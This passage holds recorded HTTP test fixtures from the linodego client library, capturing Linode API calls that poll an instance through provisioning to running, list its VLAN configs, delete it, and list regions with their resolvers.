Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "802" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:50:49 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876248 method: GET response: body: '{"id": 61876248, "label": "go-ins-test-ipam", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.210.43"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "818" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:51:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876248 method: GET response: body: '{"id": 61876248, "label": "go-ins-test-ipam", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.210.43"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "813" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:51:19 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876248 method: GET response: body: '{"id": 61876248, "label": "go-ins-test-ipam", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.210.43"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": "Scheduling", "window": "Scheduling"}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "0e0c1ef96c34828ce8b53e9e04870191260828c7", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "813" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:51:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"interfaces":"go-vlan-test-ipam"}' url: https://api.linode.com/v4beta/linode/instances/61876248/configs?page=1 method: GET response: body: '{"data": [{"id": 65096772, "label": "My Debian 9 Disk Profile", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": false, "devtmpfs_automount": true}, "kernel": "linode/grub2", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": {"disk_id": 121427422, "volume_id": null}, "sdb": {"disk_id": 121427423, "volume_id": null}, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 2048097, "purpose": "vlan", "primary": false, "active": true, "ipam_address": "10.0.0.1/24", "label": "go-vlan-test-ipam", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}]}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:51:34 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61876248 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 18:51:35 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVLANs_List.yaml000066400000000000000000001335101474652371000302310ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, 